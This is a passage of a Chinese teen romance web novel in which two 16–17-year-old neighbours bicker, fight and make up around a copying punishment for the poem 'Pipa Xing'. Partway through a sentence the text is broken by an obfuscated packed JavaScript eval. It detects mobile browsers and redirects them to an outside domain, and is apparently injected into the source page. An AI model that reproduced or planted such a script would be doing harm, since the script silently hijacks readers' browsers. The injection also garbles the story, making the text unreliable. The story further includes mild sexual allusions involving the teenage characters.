方枳夏白他一眼,“好吃才分给你的。”
“呵,以小人之心度君子之腹!”
祁奕明显不信的眼神,观察她片刻,眯起眼,“你不会给蛋糕里挤芥末或者撒盐了吧?”
这事她干得出来,而且好像经常干类似的。
“……”
方枳夏懒得理他了,伸手要把那半个蛋糕拿回来。
“被害妄想症吧你。爱吃不吃。”
祁奕微一挑眉,伸手过去,按在她的手背上。
教室里的空调才刚开,方枳夏感觉到他指腹温热的触感,力道不重,有点痒痒的。
“你别抢,一会儿打翻了谁也别吃。”
方枳夏仍然要把纸碟拿回来,祁奕就加重了些力道,一时间僵持不下。
这时教室前门有人进来了,咳嗽一声。
也许是早恋和青春期男女同学关系被老师说过了,他们的八卦也被同学传成各个不同的版本,明明什么也没有,方枳夏还是下意识心虚了一下。
好在进来的人是王康林,压根没注意他们在干嘛,目视前方,一言不发去座位上。
但方枳夏刚才手一松,蛋糕就被抢过去。
祁奕还立刻叉起来吃了一口,眼神得意洋洋的,真有点像个抢零食成功的小学生,慢悠悠评价道:“嗯,确实还不错。”
方枳夏斜眼看他,也有点绷不住上翘的嘴角,语气仍然凉凉的,“猪八戒吃人参果,你尝出是什么味儿了吗?”
“你才猪八戒。”
祁奕看着她,“苹果味,里面夹了果酱。”
“哟,尝出味道了啊。”
方枳夏有理有据地说:“那你刚才还是小人之心了,祁小人!”
“那是因为你…”
旁边王康林听不下去了,从语文课本里抬起头,平静地打断道:“你们古文都背好了吗?昨天语文老师上课说了,今天默写错一个字,就全文罚抄五遍。”
班长虽然经常都去小吃街买鸡蛋灌饼,他们五天里能遇到三次,但威严还是在的。
方枳夏也要背书,懒得跟他再吵了,但转回头前,还不忘用口型说:你等着罚抄吧。
祁奕看着她的高马尾和毛绒绒的后脑勺,不服气地冷哼一声。
-
结果,他今天默写果然错了一个字。
周末明明认真背过还自己默写过,居然还能错。
那么长的一篇《琵琶行》,要抄五遍,怕是手都要抄断掉。
祁奕觉得他就是大清早被方枳夏诅咒了,才会这么倒霉。
默写纸是下午放学前发的。
回家路上,祁奕都在因为这项莫名多出来的抄写作业闷闷不乐。
主要还是因为,在回去的公交车上,方枳夏一直笑嘻嘻在他耳边念叨那句“钿头银篦击节碎”,像个复读机。
他默写就是错在把“篦”字写成了草字头。
然后祁奕现在听这七个字听到耳朵都要起茧。
他大概这辈子都忘不了“钿头银篦击节碎”的“篦”是竹字头。
今晚没有晚自习,宋婉青提前就约好了两家人一起在家里聚餐,为了感谢她不在家期间蒋月娥他们对祁奕的照顾,她网购了两箱澳洲大龙虾和阳澄湖大闸蟹。
说是两家人聚餐,但其实只有两位妈妈和他们两个小孩,因为方正韬今晚又有应酬。
祁奕和方枳夏前后脚进门时,他家厨房里已经飘出海鲜的香味。
宋婉青拿着漏勺出来。
“你俩先去房间写会儿作业,晚饭还要等一会儿才好。那箱大闸蟹早上就到了,本来害怕放死了,给它们挪到水盆里,结果全爬出来了,刚才抓了好半天才都抓到。”
“啧啧,你们是没看到,我刚下班回来,看到门口就趴着两只螃蟹,这给我吓得。”
方枳夏笑起来,“那证明这些螃蟹很活泼,肯定很好吃。”
宋婉青笑:“我也是这么想的。”
祁奕在旁边面无表情地换了鞋,拎着书包,往自己房间走去。
他现在满脑子还是那句“钿头银篦击节碎”。
一提到写作业,他就想到即将要抄写的五遍琵琶行。
宋婉青视线随着他移动,不解地问:“祁奕怎么了?在学校不开心吗?”
方枳夏笑嘻嘻地跟进去,“没有吧,可能就是学习压力太大。”
-
周六晚上,方枳夏是不可能一回家就继续写作业的。
况且外面饭菜的香味实在太浓郁,闻得她更加饥肠辘辘,无心学习。
一进房间,祁奕就率先霸占了书桌,打开电脑。
“天哪,好热,这校服也太厚了。”
方枳夏穿着校服外套,空调开了几分钟,仍然热得不行。
房间位置就那么大,她脱了外套,没骨头似的往祁奕床上一倒,调整半天姿势,最后拿他的枕头枕胳膊,用胳膊肘撑着趴在那看手机。
耳边传来游戏刚启动的音效。
方枳夏懒懒往电脑方向瞅了眼,问:“你不抄《琵琶行》吗?真诚建议你今天先抄两遍。唉,因为一个草字头酿成的惨剧,可怜啊。”
祁奕点着鼠标,凉飕飕警告:“方枳夏,你今天再提《琵琶行》,小心我把你嘴巴缝起来!”
方枳夏一时没还嘴,因为她看到林言心朋友圈发了一副她新画的四格漫画,然后津津有味地看了起来。
祁奕没听到动静,抿了抿唇,缓慢转回头,“让你不提琵琶行,没有让你不说…”
话说到一半,他突然不出声了,迅速又把头转回头,耳朵也有些发红。
方枳夏上身就穿了件浅粉色的吊带,中间印这个西瓜图案。
她这个姿势趴在那里,吊带下摆垂在床上,能清楚看到里面那件白色的和…
祁奕深吸一口气,游戏都加载好了,但盯着屏幕,迟迟没有点进去。
方枳夏此时又转了下头,耳边的碎发被空调吹得一晃一晃,皮肤很白,双眼皮薄薄的,弯起嘴角,脸颊上浮出两个梨涡:“你刚才说什么?什么琵琶行?”
“好嘛,那就放过你,先不提了。”她歪着脑袋说:“我也想玩会儿,这个游戏是不是能开双人模式,你还有多的游戏手柄吗?”
说着,方枳夏站起身,去祁奕桌边的抽屉里找手柄。
祁奕轻抿着唇,余光看见她在弯腰开抽屉,依然能看到里面的。
即使关系再好,他们也长大了,男女生身体上的差异早就很明显,不能再像小时候一样。
可方枳夏浑然没有察觉。
祁奕站起身,去他衣柜那边,从里面找了件洗干净的轻薄的衬衫,给她扔过去。
“你披…”
此时,方枳夏刚找到他的另一个游戏手柄,直起身子,还没站定,脸上被呼过来一个东西,完全遮挡住她的视线。
她一个踉跄,摔倒了,膝盖也在柜角被磕了一下。
方枳夏疼得倒吸一口冷气,把盖在她头上的衣服扯下来,瞪向祁奕,怒道:“干什么!打击报复?”
“……”
祁奕目光落在她刚被磕得“咚”得一声的膝盖,也有点不好意思。
他正纠结要怎么解释,方枳夏盯着他,若有所思地问:“你刚说什么?你屁?”
“好啊祁奕,暗算我,还骂人,我不就是多说了几次琵琶行吗,那也是帮你加强记忆!好心当成驴肝肺。”
“……?”
祁奕太阳穴突突地跳:“你那明明是在嘲笑我好吗?”
方枳夏:“所以你就是因为琵琶行打击报复我!”
祁奕也有点着急,语气硬邦邦地道:“我没有!”
“钿头银篦击节碎钿头银篦击节碎,篦篦篦篦篦——”
方枳夏像唐僧念紧箍咒一样,一连说了无数个。
祁奕这下被气得脸都青了,一时间也忘记解释刚才本来是要让她披衣服的事,头痛地捂住耳朵:“想打架吗方枳夏?”
方枳夏顺着他的气话猜测:“原来你是想打架。你预料到打不过,所以先偷袭我。”
……
两个十六七岁的人莫名其妙就吵得不可开交,然后莫名其妙就像幼儿园小朋友一样在房间里打闹起来,扭打成一团,方枳夏有技巧,祁奕有身高和体力优势,一时半会难分胜负,谁也占不到便宜。
“洗手吃饭啦孩子们——”
蒋月娥推门进来的时候,就看见方枳夏把祁奕按在椅子上,攥着拳头,正用尽力气朝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14448000|153448||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他胸口挥。
蒋月娥惊得眉毛都竖起来,“方枳夏!!”
方枳夏撇撇嘴,停手。
祁奕也臭着脸,从椅子上站起来。
两个人一个头往左边扭,一个头往右边扭,都气鼓鼓的,谁也不看谁。
蒋月娥拧着眉头,严肃道:“方枳夏,你怎么回事,都这么大个人了,还打架。上高中了,本来以为你性格稳重了,现在又在这欺负男孩子!你自己看看,把人家衣服都快扯掉了,你自己衣服也不好好穿,女孩子家家,像什么样子!”
方枳夏紧抿着唇,默默在心里反驳,这次是事出有因,祁奕先动手的。
她明明已经很多年没欺负过男孩子了。
宋婉青闻声也赶过来,一看就知道这两个孩子又打架了,板起脸:“祁奕,我平时怎么跟你说的,有什么都让着夏夏。你是个男生,小时候不懂事也就算了,怎么这么大了还跟夏夏打架,这么大岁数都白长了!”
于是,这顿丰盛的晚餐也没好好吃,后来坐在餐桌上,两位妈妈也像比赛一样,轮番批判他们。
“又是因为什么打架?”
没人回答。
“不好意思说是吧?自己也知道害臊?”
“肯定是祁奕有问题,他从小就皮,跟王泽和吴柏豪那两个人也是隔三差五就打架!”
“祁奕懂事着呢,肯定是夏夏的问题,这孩子都被我们宠坏了,早知道就不该送她去学跆拳道。”
……
原本在一起吃饭,方枳夏和祁奕都是坐在同一边的,家长说着话,他们偶尔还会在餐桌底下搞搞小动作。
今天好像谁也都没消气,两人坐在对方的斜对面,隔了这张长方形餐桌上最远的距离。
晚饭后,方枳夏背着书包跟蒋月娥回家,临出门前连个多余的眼神都没给祁奕。
祁奕也不看她,靠在墙边低头看手机,装作神情无比专注的样子,就像是手机上有什么外星人即将侵略地球一样的惊天大新闻。
-
两个人应该有一两年没打过架了。
这天晚上,方枳夏倒还好,祁奕气得失眠了。
夜半,他在黑漆漆的房间里,盯着头顶的天花板。
祁奕梳理了今天事情的经过。
他原本是出于好心要给她披件衣服的,结果却被误会,还被打。
还有,直到现在,他脑子里还是方枳夏声音版本的那句诗。
然后想起他明天起来还要再抄五遍全文这件悲惨的事。
祁奕越想越气,拿出手机,点开某个人的聊天框。
黑暗中,只有手机屏幕发出的光照亮他气闷的脸。
祁奕对着聊天框输入一大段字,又删掉。
重复无数次后,又点开她的朋友圈,漫无目的地从头划到尾。
方枳夏朋友圈里不怎么发照片,但他的出镜率很高。
基本每张图都是跟他一起吃东西,或者一起打游戏,要不就是一起去哪里玩。
祁奕看到最后,心情好像莫名好了那么一点点。
他放下手机。
凌晨三点多,他终于睡着了。
但祁奕这一觉睡得并不安稳,次日早上,叫醒他的不是闹钟的铃声,而是天将亮未亮时的一场梦。
十六七岁的男孩子,做这种梦其实很正常。
祁奕应该是比较晚熟的那类,在同龄人开始讨论喜欢谁、追谁、暗恋谁的时候,他脑子里还是只有打游戏、做题、打篮球,再或者就是跟方枳夏吵吵闹闹。
但毕竟年龄摆在那,进入青春期后,他也很偶尔的做过这种梦。
只是,以前,梦里的对象都是很模糊的影子,都没有脸或者具体的场景。
而这次,祁奕醒来之后,还完全没有反应过来,许久,才逐渐皱起眉头,回忆刚才的梦境,平躺在床上,满脸崩溃。
居然是昨天刚刚冤枉他偷袭她、害他满脑子都是古诗、还跟他打了一架的那位。
梦里,一切就发生在他的房间。
方枳夏就穿着那件粉红色的吊带,跟他打架的中途,趁他不备突然扒了他的裤子。
“………”
不能再回忆了。
祁奕阖上眼,默念五遍:这只是个梦,很正常,其中的任何要素都不能代表什么,只是因为她昨天碰巧来了他房间,碰巧穿了那么低的吊带,又碰巧被他看到。
他定了定神,翻身下床,去衣柜抽屉里拿了换洗的衣物,披上一条浴巾,准备去卫生间洗澡洗衣服。
“祁奕。”
没想到,刚出房间,早起坐在沙发上看电视的宋婉青就叫住他。
祁奕回了下头,声音也不大自然:“怎么了?”
宋婉青偏头看他:“我想了想,你还是应该去跟人夏夏主动道个歉。不管是因为什么吵架打架,男孩子嘛,大度一点。看看你俩昨天吃饭的时候那个别扭样子。”
祁奕抱着一摞衣服,抿抿唇,低声挤出三个字。
“…我不去。”